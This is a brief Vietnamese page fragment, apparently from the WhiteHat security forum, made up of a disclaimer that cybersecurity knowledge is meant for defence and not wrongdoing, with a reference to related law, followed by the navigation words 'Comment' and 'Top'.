Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên